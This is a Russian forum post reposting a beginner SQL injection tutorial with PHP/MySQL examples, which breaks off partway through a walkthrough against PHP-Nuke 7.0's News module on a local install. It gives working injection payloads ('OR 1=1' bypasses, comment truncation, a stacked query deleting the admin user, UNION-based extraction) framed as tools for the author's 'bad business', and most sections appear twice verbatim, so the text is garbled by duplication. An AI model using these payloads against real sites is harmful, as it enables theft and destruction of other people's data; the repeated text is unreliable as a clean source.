Обучение/Помощь новичкам | sql inj
Для тех кому интересы основы Sql иньекций нашел замечательную статейку для понимания общих принципов, рекомендую к прочтению:
На различных сайтах посвященных безопасности часто пролетают сообщения о
нахождении уязвимостей внедрения SQL кода в различных скриптах, форумах, движках
и прочем. По-видимому данная проблема становится все более и более актуальна,
администраторы вовремя обновляют ПО на своих сайтах, авторы скриптов не пишут
скриптов с бажным инклудом, но когда встречается скрипт работающий с базой
данных то ошибки программирования, точнее сказать ошибки при запросах к базе,
так и лезут в глаза. В данной статье я хотел бы описать наиболе частые ошибки
приводящие к внедрению своего кода в запросы к базе, рассмотреть примеры
эксплоитинга данных баг для получения нужной нам инфы из базы… ну и посмотрим
что из этого всего получится =)
Примеры будут приводится на пхп т.к. имхо это наиболее удобный язык для работы с
БД, в качестве базы данных использоваться будет mysql версии 4.0.12, хотя
мельком думаю затронем и MS SQL. Для понимания атак данного класса вам
естественно необходимо знать структуру языка SQL. Ну чтож этим мы для начала и
займемся.
нахождении уязвимостей внедрения SQL кода в различных скриптах, форумах, движках
и прочем. По-видимому данная проблема становится все более и более актуальна,
администраторы вовремя обновляют ПО на своих сайтах, авторы скриптов не пишут
скриптов с бажным инклудом, но когда встречается скрипт работающий с базой
данных то ошибки программирования, точнее сказать ошибки при запросах к базе,
так и лезут в глаза. В данной статье я хотел бы описать наиболе частые ошибки
приводящие к внедрению своего кода в запросы к базе, рассмотреть примеры
эксплоитинга данных баг для получения нужной нам инфы из базы… ну и посмотрим
что из этого всего получится =)
Примеры будут приводится на пхп т.к. имхо это наиболее удобный язык для работы с
БД, в качестве базы данных использоваться будет mysql версии 4.0.12, хотя
мельком думаю затронем и MS SQL. Для понимания атак данного класса вам
естественно необходимо знать структуру языка SQL. Ну чтож этим мы для начала и
займемся.
================================================
---/// Язык SQL
================================================
Для работы с базами данных используется язык SQL (Структурированный Язык
Запросов) Это язык, который дает возможность создавать реляционные базы данных
(и работать с ними), которые представляют собой наборы связанной информации,
сохраняемой в таблицах. Реляционная база данных это тело связанной информации,
сохраняемой в двухмерных таблицах. Это напоминает адресную или телефонную книгу.
Код:
+------------------+----------------------+-------------------------+
| name | password | email | <-- названия столбцев
+------------------+----------------------+-------------------------+
| admin | password | admin@localhost.com | <-- д
+------------------+----------------------+-------------------------+ <-- а
| lamer | qwerty | lamer@localhost.com | <-- н
+------------------+----------------------+-------------------------+ <-- н
| hacker | mamba | hacka@localhost.com | <-- ы
+------------------+----------------------+-------------------------+ <-- е
---/// Язык SQL
================================================
Для работы с базами данных используется язык SQL (Структурированный Язык
Запросов) Это язык, который дает возможность создавать реляционные базы данных
(и работать с ними), которые представляют собой наборы связанной информации,
сохраняемой в таблицах. Реляционная база данных это тело связанной информации,
сохраняемой в двухмерных таблицах. Это напоминает адресную или телефонную книгу.
Код:
+------------------+----------------------+-------------------------+
| name | password | email | <-- названия столбцев
+------------------+----------------------+-------------------------+
| admin | password | admin@localhost.com | <-- д
+------------------+----------------------+-------------------------+ <-- а
| lamer | qwerty | lamer@localhost.com | <-- н
+------------------+----------------------+-------------------------+ <-- н
| hacker | mamba | hacka@localhost.com | <-- ы
+------------------+----------------------+-------------------------+ <-- е
Есть несколько основных команд SQL которые необходимо знать для работы с БД.
Итак вот они:
Создание таблицы:
Код:
-----------------
CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)
Этой командой в базе данных создается новая таблица с указанным именем и
полями(колонками) указанного типа.
Эта команда врятли пригодится нам в нашем нехорошем деле так что особо
останавливаться на ней не буду.
Удаление таблицы:
-----------------
DROP TABLE имя таблицы
Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит
данные.
Вставка записи:
---------------
INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)
Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые
существуют в таблице, но не указаны в данной команде получают 'неопределенное
значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг,
который указывает MySQL, что поле не имеет значения.
Итак вот они:
Создание таблицы:
Код:
-----------------
CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)
Этой командой в базе данных создается новая таблица с указанным именем и
полями(колонками) указанного типа.
Эта команда врятли пригодится нам в нашем нехорошем деле так что особо
останавливаться на ней не буду.
Удаление таблицы:
-----------------
DROP TABLE имя таблицы
Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит
данные.
Вставка записи:
---------------
INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)
Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые
существуют в таблице, но не указаны в данной команде получают 'неопределенное
значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг,
который указывает MySQL, что поле не имеет значения.
Примеры:
INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password
INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Вставляет в таблицу “admins” запись: admin в поле name и 2 в поле posts
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле
// post имеет формат INT (числовой)
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в
// кавычки
Удаление записи:
----------------
DELETE FROM имя таблицы WHERE выражение
Удаляет из указанной таблицы все записи, которые удовлетворяют условию в
выражении после WHERE.
Примеры:
DELETE FROM users WHERE name='root';
DELETE FROM admins WHERE post=2;
Поиск записи:
-------------
SELECT * FROM имя таблицы WHERE выражение
Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.
Примеры:
SELECT * FROM users;
// Выведет все записи из таблицы users
SELECT name, email FROM users;
// Выведет записи колонок name и email
SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2
SELECT * FROM admins WHERE name='root';
INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password
INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Вставляет в таблицу “admins” запись: admin в поле name и 2 в поле posts
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле
// post имеет формат INT (числовой)
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в
// кавычки
Удаление записи:
----------------
DELETE FROM имя таблицы WHERE выражение
Удаляет из указанной таблицы все записи, которые удовлетворяют условию в
выражении после WHERE.
Примеры:
DELETE FROM users WHERE name='root';
DELETE FROM admins WHERE post=2;
Поиск записи:
-------------
SELECT * FROM имя таблицы WHERE выражение
Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.
Примеры:
SELECT * FROM users;
// Выведет все записи из таблицы users
SELECT name, email FROM users;
// Выведет записи колонок name и email
SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2
SELECT * FROM admins WHERE name='root';
Обновление записи:
------------------
UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение
В указанной таблице все записи которые удовлетворяют выражению, получают в
перечисленных полях соответствующие перечисленные значения.
Примеры:
UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит “qwerty” в колонке password, значение в колонке
// name сменится на “bad-admin”
================================================
---/// PHP и mySQL
================================================
Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:
mysql_connect($hostname,$username,$password)
И выбрать базу с которой будем работать:
mysql_select_db($dbname)
$hostname – сервер БД
$username – логин к базе $password – пароль к базе $dbname – название базы
После этого мы можем отдавать SQL запросы с помощью mysql_query($query) где
$query – наш запрос.
Например:
Код:
<?php
# определяем сервер, логин, пароль, название базы
$hostname = 'localhost';
$username = 'root';
$password = 'pass';
$dbname = 'forum';
# подключаемся к серверу
mysql_connect ($hostname,$username,$password);
# выбираем нужную базу
mysql_select_db($dbname);
# отдаем запрос к БД
$result = mysql_query("SELECT * FROM table_1");
...
?>
------------------
UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение
В указанной таблице все записи которые удовлетворяют выражению, получают в
перечисленных полях соответствующие перечисленные значения.
Примеры:
UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит “qwerty” в колонке password, значение в колонке
// name сменится на “bad-admin”
================================================
---/// PHP и mySQL
================================================
Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:
mysql_connect($hostname,$username,$password)
И выбрать базу с которой будем работать:
mysql_select_db($dbname)
$hostname – сервер БД
$username – логин к базе $password – пароль к базе $dbname – название базы
После этого мы можем отдавать SQL запросы с помощью mysql_query($query) где
$query – наш запрос.
Например:
Код:
<?php
# определяем сервер, логин, пароль, название базы
$hostname = 'localhost';
$username = 'root';
$password = 'pass';
$dbname = 'forum';
# подключаемся к серверу
mysql_connect ($hostname,$username,$password);
# выбираем нужную базу
mysql_select_db($dbname);
# отдаем запрос к БД
$result = mysql_query("SELECT * FROM table_1");
...
?>
Вот в принципе основы которые нужно знать для работы с БД. Теперь переходим к
более интересному, а именно к способам внедрения своего кода.
================================================
---/// Основы SQL-injection
================================================
Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки ‘data' отсюда можно сделать интересное замечание. Что если к скрипте
данные для sql-запроса берутся из полученных от пользователя переменных и не
фильтруются… Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"
Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии с
его логином:
Код:
<?
... подключение к БД ...
... получение данных из запроса ...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>
более интересному, а именно к способам внедрения своего кода.
================================================
---/// Основы SQL-injection
================================================
Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки ‘data' отсюда можно сделать интересное замечание. Что если к скрипте
данные для sql-запроса берутся из полученных от пользователя переменных и не
фильтруются… Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"
Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии с
его логином:
Код:
<?
... подключение к БД ...
... получение данных из запроса ...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>
Если мы передаем в переменной $login нормальный текст например "lamer" то в SQL
будет выполнен запрос:
SELECT mail FROM users WHERE login='lamer'
И все сработает как надо…
А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:
SELECT mail FROM users WHERE login='hacker''
И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично =) Лишняя
кавычка сделала свое дело и мы смогли видоизменить запрос к базе данных.
Наипростейший пример. Допустим приведенный выше скрипт позволяет смотреть
пользователю его регистрационные данные. Теперь используя кавычку мы сможем
посмотреть инфу всех пользователей, вот примерно так:
$login=blah' OR login='admin
И sql-запрос изменится на такой:
SELECT mail FROM users WHERE login='blah' OR login='admin'
Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.
Далее мы можем получить мыла всех пользователей:
$login=no_user' OR '1'='1
SQL запрос такой станет:
SELECT mail FROM users WHERE login='no_user' OR ‘1'='1'
Т.к. '1'='1' всегда то запрос вернет все записи из таблицы.
Использование кавычки применимо в случае передачи в запрос текстовых данных, с
числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя в
соответствии с его порядковым номером:
Код:
<?
...
$result = mysql_query("SELECT password FROM users WHERE num=$num");
...
?>
будет выполнен запрос:
SELECT mail FROM users WHERE login='lamer'
И все сработает как надо…
А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:
SELECT mail FROM users WHERE login='hacker''
И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично =) Лишняя
кавычка сделала свое дело и мы смогли видоизменить запрос к базе данных.
Наипростейший пример. Допустим приведенный выше скрипт позволяет смотреть
пользователю его регистрационные данные. Теперь используя кавычку мы сможем
посмотреть инфу всех пользователей, вот примерно так:
$login=blah' OR login='admin
И sql-запрос изменится на такой:
SELECT mail FROM users WHERE login='blah' OR login='admin'
Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.
Далее мы можем получить мыла всех пользователей:
$login=no_user' OR '1'='1
SQL запрос такой станет:
SELECT mail FROM users WHERE login='no_user' OR ‘1'='1'
Т.к. '1'='1' всегда то запрос вернет все записи из таблицы.
Использование кавычки применимо в случае передачи в запрос текстовых данных, с
числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя в
соответствии с его порядковым номером:
Код:
<?
...
$result = mysql_query("SELECT password FROM users WHERE num=$num");
...
?>
При передаче нормального номера скрипт отдает запрос к БД и запрос возвращает
необходимые данные:
SELECT password FROM users WHERE num=7;
Тут мы можем изменить запрос даже не прибегая в кавычкам:
$num=1 OR 2
и запрос станет:
SELECT password FROM users WHERE num=1 OR 2;
Это основа данного типа атак. Также кроме кавычки есть еще символы которые
смогут нам пригодится.
Точка с запятой ";" служит для разделения sql-запросов к базе данных. К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет. В случае если мы имеем дело с MS SQL в которой данная возможность
поддерживается то с её помощью мы получаем возможность отдавать несколько
запросов в одной строке, например:
Рассмотренный выше скрипт:
Код:
<?
... подключение к БД ...
... получение данных из запроса ...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>
Если работает с MS SQL то изменяем переменную вот таким образом:
$login=no_user'; delete FROM users WHERE login='admin
Запрос:
SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';
Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)
Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:
$result = mysql_query("SELECT mail FROM users WHERE login='$login' AND post='123'");
Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:
SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';
Согласитесь не совсем то что нам надо =
В этом случае нам и пригодится комментирование…
$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*
Заметьте что в данном случае мы сами закрываем кавычку в конце запроса т.к.
кавычка из запроса которая ранее закрывала переменную теперь будет
закоментирована.
Ну чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили что мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения данных из других таблиц нам потребуется более детальное изучение
структуры запросов и еще одна команда.
необходимые данные:
SELECT password FROM users WHERE num=7;
Тут мы можем изменить запрос даже не прибегая в кавычкам:
$num=1 OR 2
и запрос станет:
SELECT password FROM users WHERE num=1 OR 2;
Это основа данного типа атак. Также кроме кавычки есть еще символы которые
смогут нам пригодится.
Точка с запятой ";" служит для разделения sql-запросов к базе данных. К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет. В случае если мы имеем дело с MS SQL в которой данная возможность
поддерживается то с её помощью мы получаем возможность отдавать несколько
запросов в одной строке, например:
Рассмотренный выше скрипт:
Код:
<?
... подключение к БД ...
... получение данных из запроса ...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>
Если работает с MS SQL то изменяем переменную вот таким образом:
$login=no_user'; delete FROM users WHERE login='admin
Запрос:
SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';
Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)
Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:
$result = mysql_query("SELECT mail FROM users WHERE login='$login' AND post='123'");
Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:
SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';
Согласитесь не совсем то что нам надо =
В этом случае нам и пригодится комментирование…
$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*
Заметьте что в данном случае мы сами закрываем кавычку в конце запроса т.к.
кавычка из запроса которая ранее закрывала переменную теперь будет
закоментирована.
Ну чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили что мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения данных из других таблиц нам потребуется более детальное изучение
структуры запросов и еще одна команда.
================================================
---/// Использование команды UNION
================================================
Итак команда UNION используется для обьединения вывода двух или более запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть совместимы для объединения. Это означает, что каждый запрос должен
указывать одинаковое количество столбцов и в том же порядке и каждый должен
иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более
ранних версиях БД работать не будет.
Вид команды таков:
SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;
Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.
Например:
SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;
Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном
примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql
с ведением логов и приступаем.
================================================
---/// SQL injection на примере PHP-Nuke
================================================
Итак разбираться будем с модулем News
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1
Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к
значению new_topic, соответственно теперь запрос становится таким:
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1'
Отдаем в браузере запрос и смотрим логи mysql:
...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!
10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...
Вот тут наша ковычка себя и проявила =)
Видите: WHERE topicid='1''
Рассмотрим первый запрос:
SELECT topictext FROM nuke_topics WHERE topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:
+-------------------------+
| topictext | varchar(40) |
+-------------------------+
---/// Использование команды UNION
================================================
Итак команда UNION используется для обьединения вывода двух или более запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть совместимы для объединения. Это означает, что каждый запрос должен
указывать одинаковое количество столбцов и в том же порядке и каждый должен
иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более
ранних версиях БД работать не будет.
Вид команды таков:
SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;
Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.
Например:
SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;
Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном
примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql
с ведением логов и приступаем.
================================================
---/// SQL injection на примере PHP-Nuke
================================================
Итак разбираться будем с модулем News
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1
Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к
значению new_topic, соответственно теперь запрос становится таким:
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1'
Отдаем в браузере запрос и смотрим логи mysql:
...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!
10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...
Вот тут наша ковычка себя и проявила =)
Видите: WHERE topicid='1''
Рассмотрим первый запрос:
SELECT topictext FROM nuke_topics WHERE topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:
+-------------------------+
| topictext | varchar(40) |
+-------------------------+